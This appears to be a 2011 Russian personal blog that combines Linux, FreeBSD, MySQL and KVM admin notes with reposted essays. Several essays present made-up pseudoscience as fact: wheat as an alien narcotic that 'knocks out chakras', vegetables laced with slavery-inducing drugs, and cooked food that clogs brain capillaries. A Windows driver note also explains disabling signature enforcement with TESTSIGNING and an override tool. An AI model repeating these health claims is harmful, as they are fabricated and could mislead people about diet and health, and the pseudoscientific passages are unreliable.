среда, 14 декабря 2011 г.

Обновление Cyrus 2.1 на 2.2

После апгрейда убунты на 10,04 перестал запускаться cyrus. Вылитает ошибка:
/etc/init.d/cyrus2.2: Database backends mismatch! You must manually
/etc/init.d/cyrus2.2: verify and update the Cyrus databases to the
/etc/init.d/cyrus2.2: new backends.
/etc/init.d/cyrus2.2: Please refer to /usr/share/doc/cyrus-common-2.2/README.Debian
/etc/init.d/cyrus2.2: for instructions.
Лекарство:
# делаем бекап системных файлов
cd /var/lib
tar cfvz cyrus-backup.tgz cyrus
# при необходимости бекап почтовых ящиков
tar cfvz cyrus-spool-backup.tgz /var/spool/cyrus

#
rm /usr/lib/cyrus/cyrus-db-types.active
sudo chown -R cyrus:mail /var/lib/cyrus
dpkg-reconfigure cyrus-common-2.2

пятница, 2 декабря 2011 г.

Doctrine Versionable: получить все версии объекта

Процесс создания модели у которой ведётся сохрание изменений
http://www.doctrine-project.org/documentation/manual/1_0/en/behaviors#core-behaviors:versionable

там описана возможность получить текущую версию объекта
$blogPost->version;

и откатить изменения при помощи метода

$blogPost->revert(1);
Чтобы получить все версии $blogPost:
$blogPost->getVersion()

пятница, 25 ноября 2011 г.

UTF 8 and my.cnf

Settings for mysql that will help ensure Unicode top to bottom.

[mysqld]
default-character-set=utf8
default-collation=utf8_general_ci
character-set-server=utf8
collation-server=utf8_general_ci
init-connect='SET NAMES utf8'

[client]
default-character-set=utf8

вторник, 22 ноября 2011 г.

Ubuntu/Debian downgrade php5.3 to 5.2

Делаю downgrade в Lucid только для следующих пакетов в версии из репозитария Hardy

vim /etc/apt/preferences.d/php5-pin

Package: php5-cgi
Pin: release a=hardy
Pin-Priority: 1001

Package: libapache2-mod-php5
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-common
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-cli
Pin: release a=hardy
Pin-Priority: 1001

Package: php-auth
Pin: release a=hardy
Pin-Priority: 1001

Package: php-pear
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-curl
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-dev
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-gd
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-imagick
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-imap
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-mcrypt
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-mysql
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-sqlite
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-tidy
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-xmlrpc
Pin: release a=hardy
Pin-Priority: 1001

Package: php5-xsl
Pin: release a=hardy
Pin-Priority: 1001

aptitude install php5-cgi php-auth php-pear php5-cli php5-curl php5-dev php5-gd php5-imagick php5-imap php5-mcrypt php5-mysql php5-sqlite php5-tidy php5-xmlrpc php5-xsl

пятница, 18 ноября 2011 г.

Phpfarm custom.sh

aptitude install libxml2-dev libjpeg8-dev libcurl4-openssl-dev libpng-dev libfreetype6-dev libmcrypt-dev libmhash-dev libxslt-dev

mkdir -m 0755 /usr/local/php
git clone git://git.code.sf.net/p/phpfarm/code phpfarm

cd phpfarm/src

vim custom-options-5.2.17.sh
### 
configoptions="
            --enable-cli \
            --with-pear \
            --with-openssl=/usr \
            --with-iconv \
            --with-curl \
            --with-mysql \
            --with-mysqli \
            --enable-mbstring \
            --with-zlib \
            --with-zlib-dir \
            --with-gettext \
            --with-mhash \
            --enable-ftp \
            --with-mcrypt \
            --enable-bcmath \
            --with-mime-magic \
            --with-pdo-mysql \
            --enable-sockets \
            --enable-soap \
            --enable-fastcgi \
            --enable-force-cgi-redirect \
            --with-xsl \
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--with-png-dir \
--with-jpeg-dir \
--with-freetype-dir \

    "
#
#           --with-gd \
#            --with-gd=/usr/lib/php5/20090626 \
#--with-png-dir \
#--with-jpeg-dir \
#            --enable-gd-native-ttf \
#            --with-pspell \
#            --enable-exif \


четверг, 15 сентября 2011 г.

Как сохранять нужное кол-во Proxmox vzdump бекапов ?

в /etc/vzdump.conf
добавить строчку
maxfiles: N
N - необходимое кол-во

больше о vzdump.conf можно узнать в man vzdump

понедельник, 12 сентября 2011 г.

Virtio hdd самоподписаный драйвер

Для win2003
----------------------
I have followed the links, however even after signing the drivers myself, Windows 64-bit doesn’t want them. The only solution that I have found is:
- Install your Windows with 1 normal device (ide) and 1 virtio drive.
- When Windows is successfully installed, add virtio driver for the second disk.

I don’t know if it is really necessary but in cmd.exe:

Bcdedit.exe -set TESTSIGNING ON

See: http://msdn.microsoft.com/en-us/library/dd419910.aspx

Shutdown VM.
Change the first disk from ide to virtio, Windows knows the driver from the second drive and use it for the first which have just been changed.

There is probably a better solution to install but I don’t know it.

HOW SIGN YOURSELF:
Download Windows SDK for makecert and signtools: http://download.microsoft.com/download/7/A/B/7ABD2203-C472-4036-8BA0-E505528CCCB7/winsdk_web.exe

Generate certificate:

In C:\Program Files\Microsoft SDK\…….\bin
MakeCert -r -pe -ss TestCertStoreName -n “CN=CertName” CertFileName.cer

Sign driver:
SignTool sign /v /s TestCertStoreName /n CertName /t http://timestamp.verisign.com/scripts/timestamp.dll viostor.sys

Now if you right click on viostor.sys, you can see certified by “…”.


Для win2008
------------------
I finally got it to work permanently by signing the driver with a test certificate, putting Windows into testsigning mode and installing the driver.
(Hint: Microsoft has disabled the "DISABLE_INTEGRITY_CHECKS" option, which in earlier versions of Vista64 (and Win7 64 RC?) would allow installation of unsigned drivers)
I did the following:
1. Copy the Win2008 driver folder from the CD onto the HDD
2. Download DSEO 1.3b ("Driver Signature Enforcement Overrider 1.3b") - You DON'T have to turn off UAC!
3. Start DSEO and select to sign viostor.sys which you just copied to the HDD
4. Uninstall DSEO :)
5. Start up cmd as administrator
6. Turn on testsigning by entering: bcdedit -set TESTSIGNING ON
7. Restart computer
8. Install driver as described in the article above

вторник, 6 сентября 2011 г.

xslt в bash

java com.icl.saxon.StyleSheet -x org.apache.xerces.parsers.SAXParser
  -y org.apache.xerces.parsers.SAXParser xq338.xml 
  xq348.xsl bodyTextSize=8pt

воскресенье, 4 сентября 2011 г.

git tree

git config alias.tree = "log --graph --decorate --pretty=oneline --abbrev-commit"
git tree

Skype webcamera в Ubuntu

Чтобы заработала камера в скайпе нужно:
находим где расположен запускной файл
which skype
в моём случае /usr/bin/skype

возможен вариант /opt/skype/skype
далее выполнеем команды

cd /usr/bin
mv skype skype.real
cat <<EOF > skype
#!/bin/sh
LD_PRELOAD=/usr/lib32/libv4l/v4l2convert.so exec /usr/bin/skype "\$@"
EOF
chmod +x skype

понедельник, 25 июля 2011 г.

Пшеница

Автора не нашел, но мудро.

Пшеница занимает особое положение. Она не встречается в дикорастущем состоянии, не случайно академик Вавилов потратил большую часть своей жизни на поиск и сохранение ее видов. Она инопланетного происхождения, завезённая жителями цивилизации Тироэна - "Йети" (7-1,5 млн. лет назад), использовалась в качестве химического препарата для травления крыс, мышей и прочих вредных животных. Сами же "снежные люди" ее не употребляли в пищу никогда. Они знали и видели губительное ее влияние на мозг животных и людей. Действие пшеницы на мозг существ, обитающих на Земле, таково. Сначала сразу после попадания ее в организм землян у них выбиваются и закрываются "открытые чакры". В первую очередь выбивается функционирующая горловая чакра - вишудха, отвечающая за чувствительность к полям высших пространств как руками, так и всем телом. Затем выбиваются остальные "открытые" чакры, включая аджну - третий глаз, позволяющий видеть в астрале, и сахасрару - макушечную чакру, отвечающую за энергетическую связь с Космосом. Все это сопровождается специфической болью во всем позвоночнике. Эти боли характерны при попадании в организм пищи животного происхождения, отравленной пшеницей. Пшеница - самая плотская пища из всех видов животной пищи. Весь организм любого существа земного происхождения энергетически "замазывается", "заштукатуривается" изнутри энергетикой пшеницы на разных уровнях примерно на 1,5 - 2 месяца. Лишь тот, кто не употребляет пшеницу и изделия из нее: булочки, макароны и пр. - может прочувствовать, что такое ясная незадурманенная голова. Головной мозг увеличивает свою работу с 5-7% до 20-25%. Организм весь целиком и каждая клеточка очищается от энергетического жуткого мучного клейстера. Эту убойную силу и особенность пшеницы пришельцы-завоеватели из других миров использовали против землян, перенеся ее во времени из далекого прошлого и внушая им мысль о том, что "хлеб - всему голова" (потому что бьет по голове), "еда без хлеба - не еда", внушая, что есть вареную пшеничную похлебку "полбу" - это очень полезно. А народ ее не случайно назвал "полбой", так как она бьет "по лбу". Коренные жители Земли вынуждены были ее есть, хотя видели ее губительное действие на их организм. Для того, чтобы снизить это разрушительное действие, пшеницу стали перемалывать, то есть ликвидировать убойную силу эфирной структурной энергетики пшеницы. Ведь пшено, рис, гречиху, перловку, бобовые и прочие никто не перемалывает в муку, в этом нет смысла или это делается в особых специальных целях. В перемалывании пшеничной муки и изготовлении всевозможных макаронных изделий - большой смысл: снимается эфирное отравно-наркотическое действие зерна пшеницы. Люди Земли еще в Древнем Египте и прочих местах придумали, как снять астральный яд-наркотик пшеницы, который не снимается размалыванием. Они придумали сбраживание-закисание, съедение пшеницы дрожжами. Дрожжевое тесто и выпечки из него еще менее вредное, чем макаронные изделия и тем более пшеница. Затем была изобретена нейтрализация ментальной энергии путем добавления специальных добавок другой, земной природы - сдобривание. Сдобное тесто с добавлением яиц, масла, молока, сахара и пр. уменьшает действие отравы-наркотика пшеницы уже на ментальном уровне. Для нейтрализации пшеницы на уровне боддхи - идеи люди придумали начинку, торты с кремом и пр. К сожалению, все эти средства не могут снять эфирную, астральную, ментальную ядовитость и ядовитость в пространстве боддхи, непригодность пшеницы более чем на 20-30%. Даже после всех изощрений пшеница на 70-80% продолжает оставаться самым сильнодействующим, но и самым скрытным энергоотравительным наркотиком за все времена и народы. Ни один другой наркотик не действует в течение двух месяцев после одноразового приема. Видя ее удивительное действие на землян, иновселеняне внушают землянам, чтобы те засевали поля и употребляли в пищу, в основном, пшеницу. Так, с помощью пшеницы были погублены, вырождены земные цивилизации. Лишь последователи первой цивилизации - Маа - дальневосточная раса и американские индейцы не употребляли пшеницу в еду, Китай, Япония, Юго-восточная Азия, Полинезия, Тибет употребляли природный рис, в результате чего сохранили свою древнюю культуру через Даосизм, Синтоизм, Буддизм, Тантру, Бон и прочие. Американские индейцы употребляли природную кукурузумаис и достигли небывалого расцвета ко времени конкистадоров. Йоги никогда, ни при каких обстоятельствах не употребляют пшеницу. Они считают это нечистой пищей для низших каст и форм жизни. Но употребление землянами самой пшеницы и изделий из нее иновселенянам показались недостаточно эффективными (разрушительно-отравляющий эффект на самих иновселенян из-за разницы в высших физиологиях эфирной, астральной и пр. существенно ниже, чем на землян, так как у них все тело такое). Тогда они осуществили отравление с помощью скармливания пшеницы домашним животным землян, которыми те питались: коровам, свиньям и пр. В результате скармливания им пшеницы их мясо стало отравленным плотским, то есть также приобрело способность выбивать энергетику, чакры, головной мозг землян. Мясо диких животных, не употреблявших пшеницу, а также тех, кто имеет специальные биомеханизмы защиты от пшеницы, баранина, куры таким действием не обладают. Большинство землян под внушением иновселенян частично скармливали скоту пшеницу и, употребляя затем мясо этого скота в пищу, дополнительно травились, дотравливались. Отчего попадали в еще большую зависимость от иновселенян.
       Наиболее передовые и продвинутые земляне перешли на вегетарианскую пищу, не стали употреблять мясо вообще, либо частичное вегетарианство, то есть исключение нечистой отравленной пищи. Так, в Индии отказались от говядины, объявив коров "священными", "запретными". На Ближнем и Среднем Востоке отказались от свинины. Во многих странах не едят конину, собак и других домашних животных. Дело в том, что за многие поколения употребления этими животными пшеницы или мяса других отравленных животных у них произошли необратимые генетические и энергетические изменения. Даже если им перестанут скармливать пшеницу, то их мясо будет продолжать оставаться плотским, то есть отравленным, выбивающим чакры и мозг. Лишь 10-15-летнее неупотребление ими в пищу всех видов плотской пищи (в первую очередь пшеницы) может вывести их организм из состояния отравленности и их мясо станет пригодным к употреблению землянами без ущерба для своего здоровья. Сам человек-землянин может очистить свой организм за 8-10 лет неупотребления отравленной пищи, то есть вегетарианствуя.
       Вещества из XLIY века, несущие при употреблении рабскую психологию удовольствия подчинения иновселенянам и восхваления их, были внедрены в состав некоторых культурных растений, в первую очередь этолук, чеснок, редька, редиска, хрен, отчасти репа и т.п. Срок последействия этих наркотиков составляет 6-9 месяцев. Не употребляя их в пищу 3-4 года, можно полностью вывести их из организма вместе с рабской психологией. Именно из-за употребления этих продуктов (содержащих эти наркотики) у большинства людей резкий неприятный запах имеют все выделения организма, начиная с пота и кончая испражнениями. При отсутствии в пище этих продуктов все выделения организма не имеют почти никакого запаха.
       В плотские (отравленные) продукты входят все виды молочных и кисломолочных продуктов, кромемороженого и, отчасти, сыра, то есть все те продукты, которые воздействуют на открытые чакры. Этим принципиально отличается истинное вегетарианство от неистинного. Неистинное вегетарианство - это вегетарианство по убеждению, моде, предписанию, состоянию здоровья, религиозным и морально-этическим соображениям (типа "я не ем труп", "я не ем своих меньших братьев"). Организм этих неистинных вегетарианцев не производит незаменимые аминокислоты, которые поступают в организм с животной пищей. В результате люди подрывают свою энергетику и рано или поздно это очень больно и сильно скажется на их обмене веществ и психическом состоянии. Организм истинного вегетарианца производит незаменимые аминокислоты внутри себя с помощью открытых чакр. И попадание в организм чужих аминокислот производит в нем реакцию отторжения чужеродных тканей. Если же пища плотская, то есть содержит инопланетные наркотики, то начинает ломить чакры, они начинают закрываться. Поэтому, если человек хотя бы изредка может употреблять молочные продукты, говядину, пшеницу и прочую плотскую пищу, то это означает, что он не истинный вегетарианец, чакры его закрыты и не производят незаменимых аминокислот. Это означает, что ему не только можно, но и нужно есть животную пищу, но желательно не плотскую, без наркотиков.
     Структурная химическая формула этилового спирта (С2Н5ОН) аналогична христианскому восьмиконечному кресту. На прямых перекрестиях находятся атомы углерода, косое перекрестие - это атом кислорода, на концах всех шести прямых находятся атомы водорода. Не случайно из всех спиртов лишь этиловый спирт употребим для человека. Не случайно, что именно в христианстве употребление спирта не только допускается, но и введено в культ как кровь Христа.
       В кипящей воде нельзя заваривать чай, травы и т.д., так как они становятся безвкусными (как "веники"). Заваривают все травы и прочие продукты лишь в воде при температуре "белого ключа", причем при обратном медленном остывании, для того, чтобы не выйти за диапазон "белого ключа". Аналогично известно, что состояние "белого ключа" позволяет "заваривать" крахмалы, белки и прочие продукты, которые не завариваются и лишь растворяются или смешиваются с водой при температуре ниже "белого ключа".

Легкий способ борьбы с ленью

Я хочу рассказать о своем способе борьбы с ленью. Чтобы его применять, не нужна сила воли, не нужен особый склад ума, обладание энтузиазмом, отсутствие депрессии, шило в заднице, курсы НЛП и монастырь Шао-линя. Достаточно лишь совершить действия, на которые способен даже самый ленивый человек на свете.[]

Прежде чем перейти к делу, я развею два мифа, связанные с понятием «лень». Два мифа, мешающие миллионам людей перестать лениться.

Первый миф такой — лень считают
чем-то независящим от человека, неотъемлимой и неустранимой чертой характера. Это полная чушь. Лень — это всего лишь определенные шаблоны поведения, привычки. А привычки можно менять.

Второй миф заключается во фразе «Лень — это когда я ничего не делаю». Это тоже полная чушь. Потому что, когда человек говорит «я ленюсь», он не ничего не делает, а:

1. Ест.

2. Смотрит телевизор.

3. Слушает музыку.

4. Смотрит кино.

5. Бродит по интернету.

6. Играет в компьютерную игру.

7. Читает книги.

8. Валяется на диване.

9. Болтает, гуляет или выпивает с друзьями и соседями.

10. И т. п.

Все это — действия. Другое дело, что, когда эти действия начинаются отнимать по 6 часов в день, они начинают мешать жизни.

Поэтому более верным определением будет следующее: «Лень — это бесполезные действия».

А теперь собственно метод. Он заключается в одной-единственной фразе: «Чтобы перестать лениться, надо ничего не делать».

Я не шучу. Я пользуюсь этим методом уже два года. Я начал его применять прямо во время тяжелой депрессии.

Как же применяется этот метод? Допустим, вам надо совершить какое-то действие. Вы решаете (а лучше — записываете на бумаге), во сколько вы это дело начнете и сколько времени будете им заниматься. Допустим, вы начнете этим заниматься в 11:00 и будете им заниматься последующие два часа (до есть до 13:00).

В 11:00 вы начинаете бороться с ленью, а именно — ничего не делать. То есть вы прекращаете все перечисленные в списке выше дела. Вообще перестаете что-либо делать. Просто сидите или стойте в комнате. Лежать не надо, это приведет организм в состояние сна.

Вскоре (у меня — в ближайшие несколько минут) вы почувствуете, что можете приняться за работу. В голове наступит прояснение — что прямо сейчас надо сделать. И вы начнете это делать.

Сразу страхую от возможной ошибки — чтобы приниматься за работу, достаточно знать ближайшее действие. Не нужно представлять весь объем работы. Если первый шаг — нажать кнопку «Пуск», нажмите кнопку «Пуск», даже если не знаете, каким будет следующее действие (или не хотите его совершать). После того как нажмете, вскоре и вспомните, и захотите.

Если же во время работы вы снова почувствуете приступ лени — опять прекращаете что-либо делать. И вскоре снова вернетесь в работоспособное состояние.

Это все. Этот способ можно применять в любое время для любых дел. Повторяю — ничего больше делать не нужно. Не нужно убеждать себя, что надо работать. Не нужно «совершать над собой усилий». Не нужно, более того — нельзя давить свои мысли. Мыслям надо позволить течь свободно и в любую сторону. Если работу прерывает «поток сознания» — это не страшно. Я специально замерял — самый длинный из таких «потоков мыслей» длится 7 минут. И прекращается, нередко одарив вас полезной идеей.


Легкий способ борьбы с ленью, версия 2.0 (оптимизированная)
Более четырех лет назад я написал на Хабре статью "Легкий способ борьбы с ленью". Статья за эти 4 года, к моему удивлению, не потеряла свою актуальность — ее [http://blogs.yandex.ru/search.xml?text=легкий способ борьбы с ленью&from=os&rd=0&ft=all|до сих пор] перепечатывают из блога в блог.

Тогда, после публикации, вы, да и я сам, заметили, что способ хоть и на удивление прост и эффективен, но работает все-таки не всегда. В какой-то момент основа метода — «перестать совершать ненужное» — становится недоступной для нашего сознательного управления. Тем не менее, в ряде других случаев способ работает. Из этого следует вывод: какая-то часть в «легком способе» действительно является реальным механизмом нашей психики, а какая-то нет.

Что же в нем реально работает, я понял только сейчас, 4 года спустя.

Итак, мы применяем способ. Перестаем делать глупости. Начинаем делать полезное. Стоп. Какая связь? Что происходит между двумя этими событиями?

Еще раз, медленнее. Вот, я отрываюсь от компьютера. Вот, я наконец снова чувствую кресло под собой. Вот я наконец-то замечаю, сколько мусора в комнате. Вот, я наконец-то вспоминаю о своем желании сделать что-то более важное… И наконец я начинаю что-то важное делать.

[]Отрываюсь. Чувствую. Замечаю. Вспоминаю. Желаю. Действую.

Чувствую. Замечаю. Вспоминаю. Желаю.

Чувствую. Чувствую. Чувствую. Вот оно!

В этом и был весь секрет. Главное, не то, что мы оторвались от компа. Главное, это то, что мы начали чувствовать. Направили свое внимание на чувства, а не на мысли и не на попытки контролировать собственные действия. Начали чувствовать себя. Свое тело. Свои желания. Свои потребности. Чувствовать окружающий мир. Чувствовать реальность. Чувствовать жизнь.

И благодаря этим чувствам, только и исключительно благодаря этим чувствам, наше поведение начало меняться. К лучшему. К адекватному. К адеватному реальной жизни. И реальным нам.

Итак, вот в чем секрет «Легкого способа борьбы с ленью» — чувства. Обратите внимание на свои чувства — и ваша лень начнет исчезать, ваше поведение начнет меняться. Это настолько просто, что звучит какой-то нелепой шуткой.

И это работает безупречно.

P. S. Данную статью разрешено перепечатывать где угодно в онлайне с указанием, что автором ее является Дмитрий Лейкин aka DileSoft. В оффлайне тоже можно, если с некоммерческими целями. А если с коммерческими — свяжитесь со мной по адресу dilesoft собака dilesoft ру.

суббота, 23 июля 2011 г.

Мониторинг в ОС FreeBSD, или находим узкое место

Источник: http://habrahabr.ru/sandbox/31010/
Спасибо автору шаутбенахт

Первое с чего начну, это всем известная утилита top. Она показывает общие сведения о процессоре, памяти и процессах, если возникают вопросы по производительности, я её запускаю первой, чтобы выявить аномалии в системе. У утилиты top есть параметры, которые облегают жизнь, их мы набираем в top'e когда он запущен:
S — показать системные процессы, по умолчанию они не показываются
u — и имя пользователя, например u mysql покажет процессы запущенные от пользователя mysql
o — используем для сортировки, возможные параметры — pri, size, res, cpu, time, threads
m — переключение между режимами отображения нагрузки и ввода-вывода
k — завершить процесс, ввод pid процесса
r — изменить приоритет процесса, вводим pid процесса
n — отображать статистику по определённому процессу
a — показывает абсолютные запущенных процессов
top -n 3 — показывает самые ресурсоёмкие приложения в данный момент

gstat — показывает использование дисков.
gstat -a — используется для вывода только активных устройств

vmstat — показывает состояние виртуальной памяти и буфера.
vmstat 5 — отображает статистику раз в пять секунд
vmstat -z — показывает состояние буфера
vmstat -i — показывает состояние прерываний

iostat — выводит статистику по I/O усройств
iostat -d -w5 — показывать информацию по дискам, с периодичностью в пять секунд безостановочно
iostat -dx -w5 — показывает расширенную статистику

systat — отображает различные параметры системы.
systat -vmstat 1 — отображает суммарную системную статистику
systat -netstat 1 — показывает активные сетевые соединения
systat -ifstat 1 — отображает нагрузку сетевых интерфейсов
systat -tcp 1 — отображает статистику tcp-соединения, возможен просмотр по icmp, ip, icmp6, ip6
systat -iostat 1 — отображает нагрузку на процессов, дисковую подсистему
systat -swap 1 — показывает загрузку файла подкачки

netstat — показывает активные сетевые соединения.
netstat -w 1 — количество пакетов в настоящее время
netstat -ibt — вывод сетевых интерфейсов с разбивкой по IP адресам, отображает объём трафика, количество ошибок, коллизий.
netstat -rn — отображает таблицу маршрутизации

diskinfo -t ad0 – показывает информацию по диску, и делает тест на дисковую производительность.

sysctl — позволяет посмотреть параметры в системы и внести изменения, такие как стек tcp/ip, вирутальной памяти.
sysctl -a — показывает все параметры
sysctl kern.ipc.numopensockets — показывает количество открытых сокетов
sysctl kern.openfiles — показывает количество открытых файлов
Вообще-то в sysctl кладезь информации, и она достойна отдельной подробной статьи.

df — утилита, которая показывает свободное место на дисках.
df -h — отображает слайсы, и свободное\занятое место.
df -i — показывает количество занятых инодов.

fstat — показывает список открытых файлов.
fstat |grep http| wc -l — показывает список открытых файлов по процессу http

sockstat — отображает информацию о сокетах, сетевых и файловых.
sockstat -l — список портов открытых на прослушивание
sockstat -c список установленных соединений
sockstat -4, -6 — по протоколу ipv4 или ipv6

lsof — показывает информацию от откртых сокетах, файлах и сетевых соединениях.
lsof -i -n — показывает открытые интернет-соединения
lsof -i -n |grep ESTABLISHED — показывает открытые, и установленные сетевые соединения

ps auxww|grep имя\pid\откогозапущено — позволяет получить информацию по интересующему процессу.

mount — показывает смонтированные разделы.
swapinfo — показывает информацию о файле подкачки.

Также можно установить iftop, которая показывает статистику по сетевым интерфейсам, к при меру:
iftop -i em0

tunefs -p /tmp – показывает информацию о файловой системе.

uname -a — показывает информацию о системе, ядре.
date — выводит текущую дату и время.
w — показывает кто, откуда, во сколько зашёл в систему.
last — показывает историю входов в систему, и последнюю перезагрузку.
uptime — показывает сколько система работает с момента последней перезагрузки.

На этом всё. Из моего опыта, вышеприведённые команды позволят собрать достаточную информацию для оценки состояния системы и «выхода на след».

kvm network

Перепост. Источник: http://forum.vingrad.ru/index.php?showtopic=248685&view=findpost&p=180624

# убираем ip адрес у интерфейса eth0
/sbin/ip addr flush eth0
# "Опускаем" eth0
/sbin/ip link set eth0 down
# Переименовываем reth0 (тут нам нужно знать MAC-адрес инрефейса)
/sbin/nameif reth0 00:11:22:33:44:55
# "Подымаем" reth0 (eth0 в девичестве)
/sbin/ip link set reth0 up
# Создаём мост с именем eth0
/usr/sbin/brctl addbr eth0
# "Подымаем" eth0
/sbin/ip link set eth0 up
# Добавляем к мосту интерфейс reth0
/usr/sbin/brctl addif eth0 reth0
# Назначаем IP для eth0, тут надо отметить, что в случае получения адреса по DHCP нужно будет
# убить dhcpcd (/usr/sbin/dhcpcd -k) перед тем как освободить адрес eth0, а потом снова запустить (/sbin/dhcpcd -n)
ifconfig eth0 192.168.0.3
# Так как DHCP я не использую, а default route погибает вместе с опусканием eth0, его нужно восстановить
route add -net default gw 192.168.0.1
# Создаём tap интерфейс
tunctl -u _имя_пользователя_из_под_которого_пускается_qemu_ -t qeth0
# "Подымаем" qeth0
# добавляем tap-интерфейс в мост
/usr/sbin/brctl addif eth0 qeth0
# Т.к. моя машина смотрит в несколько сетей, дефолтовое действие для цепочки FORWARD у меня DROP.
# Нужно добавить правило, которое выглядит слегка не логично :)
# Если у вас не разрешён форвардинг, надо его разрешить (echo 1 > /proc/sys/net/ipv4/ip_forward)
/sbin/iptables -A FORWARD -i eth0 -o eth0 -j ACCEPT

Теперь из под пользователя запускаем qemu (или kvm, что конечно лучше ), опции по вкусу Без подсветки
1:
kvm -m 128 -hda gw.img -cdrom /mnt/frenzy-1.1-std-RU.iso -net nic,vlan=0,macaddr=52:54:00:12:34:57 -net tap,vlan=0,ifname=qeth0,script=no -monitor stdio -vnc localhost:0




Всё работает как часы, qemu/kvm даже получает адрес по DHCP

Несколько замечаний:

Зачем нужно переименовывать eth0? У меня eth0 не однократно фигурирует в правилах iptables, если у Вас нет такой проблемы можно дать мосту имя по умолчанию (br0) и не усложнять процедуру.

Если Вы хотите запустить несколько виртуальных машин, то вам понадобится отдельный интерфейс для каждой машины, либо (что ИМХО более разумный выход) воспользоваться программой vde_switch, но это уже другая история

Если Вы используете несколько виртуальных машин, не забудьте назначить им разные MAC-адреса (я на эти грабли умудрился наступить )

Ну что ж, вроде я ничего не забыл. Желаю удачи

mysql cursor

drop procedure if exists myProc;

delimiter $$
CREATE PROCEDURE myProc ()
BEGIN
DECLARE l_sklad INT;
DECLARE l_zbozi INT;
DECLARE l_id INT;
DECLARE l_cena decimal;
DECLARE no_more INT;

DECLARE dept_csr CURSOR FOR
SELECT id_sklad,id_zbozi,cena
FROM sklad.`ostatki_sklad` where cena <>0;
DECLARE CONTINUE HANDLER FOR NOT FOUND SET no_more=1;
SET no_more=0;
OPEN dept_csr;
dept_loop:WHILE(no_more=0) DO
FETCH dept_csr INTO l_sklad,l_zbozi,l_cena;
IF no_more=1 THEN
LEAVE dept_loop;
END IF;

SELECT id into l_id FROM sf_sklad.product WHERE id = l_zbozi;
IF l_id THEN
INSERT INTO `sf_sklad`.`invoice_cennik` (
`product_id` ,
`client_id` ,
`price` ,
`user_id` ,
`created_by` ,
`created_at` ,
`updated_by` ,
`updated_at`
)
VALUES (l_zbozi, l_sklad, l_cena, '1', 1 , '2011-05-23 21:49:42', '1', '2011-05-23 21:50:03');

SELECT l_zbozi,l_sklad, l_cena;
END IF;
END WHILE dept_loop;
CLOSE dept_csr;
SET no_more=0;
END$$


delimiter ;

Древнерусский Всемер

Тайны древнерусского «ВСЕМЕРА»
Игорь Кондраков
Нас всё время пытаются убедить, что Русь «образовалась» тысячу лет назад при крещении, что мы такие примитивные, «варвары, говорящие непонятно на каком языке...» и всё, чего мы достигли, всё это благодаря только более древним цивилизациям: египетской, греческой и европейской. К сожалению, эту точку зрения проводят в жизнь отечественные «горе-историки», придерживающиеся до сих пор норманнской и других прозападных теорий. Нас убеждают, что и строить нас, опять-таки, научили греки, итальянцы и иже с ними. Однако огромное количество фактов и проведённый анализ показал, что в древнерусском «Всемере» были заложены знания, используемые не только русскими зодчими, но и зодчими других народов. Эти знания несли в себе более глубокую информацию о гармонии и мироздании, отражённую в числах.


МЕРИЛО

Полна загадок история Древней Руси. Но одно из самых загадочных её достижений – измерительная система, использованная при строительстве храмов и других сооружений. Сохранившиеся памятники архитектуры демонстрируют гармонию, как в эстетическом, так и архитектурном содержании. При этом утверждается, что-де церковная сажень имеет в основе древнеримские пассы, греческая – греческие оргии, великая сажень – шведский межевой локоть, а царская – египетский царский локоть... Иными словами, славянский народ был якобы не способен ввести единый измерительный инструмент и потому бессознательно собирал и использовал знания, наработанные соседними народами. С этих позиций даже предположение о возможности существования строгой пропорциональной системы древнерусских саженей представляется просто невероятным.

Далее

Жарено-вареная пища вызывает пищевой лейкоцитоз в желудочно-кишечном тракте

На первый взгляд связь Совести и еды представляется весьма отдалённой, но для отважных исследователей реальности, которые привыкли испытывать всё на своём теле, взаимосвязь способа питания и Совести является очевидной. Конечно, кто наделен Совестью по праву рождения будет иметь её независимо от способа питания, но громкость голоса Совести может сильно различаться.
В народе принято считать, что голос Совести очень тихий и к нему надо внимательно прислушиваться, чтобы поступить по правде. Для большинства людей это действительно так, потому что люди находятся в постоянном пищевом наркотическом трансе. Современная жизнь ставит перед человеком так много вызовов на грани правды и обмана, что самый лёгкий способ для многих спрятаться от этих вызовов – вкусно поесть жарено-варено-печеной пищи или попить чаю. При употреблении таких пищевых суррогатов тело человека сразу переходит в дремотное состояние переваривания, то есть происходит частичное отключение сознания вследствие пищевого шока. Точно так же и алкоголик, уходя от жизненных проблем, ищет выход в стакане водки. Ты когда-нибудь задумывались, почему же так плохо, когда вкусно поешь?
Жарено-вареная пища вызывает пищевой лейкоцитоз в желудочно-кишечном тракте, то есть лейкоциты окружают жареную пищу как чужеродную субстанцию и начинают борьбу с ней. Поджелудочная железа начинает работать в десятки раз интенсивней, мелкие капилляры кровеносной системы начинают забиваться частичками непереваренной пищи, поэтому человек быстрее потеет и краснеет после сытной еды. В мозгу находятся самые тонкие и нежные капилляры, поэтому и происходит частичная потеря сознания, а затем и похмельный синдром. Кипячёная вода воспринимается организмом как нонсенс, на её выведение тратится колоссальное количество энергии. Где вы видели в природе средней полосе России кипяченую воду? Вот и получается, когда тело в пищевом шоке, Совесть на задворках сознания, поэтому и её голос такой тихий.По сути, ощущение сытости - это сонливо-ленивое ощущение, когда уже ничего не хочется.
Разум отключается, потому что тело пошло на поводу Антиразума, наполнив себя энергией Смерти. В этот момент Совесть засыпает и человеку становится легче вредить Земле, связав весь свой образ жизни с потребительством, компьютером или борьбой с инакомыслящими.

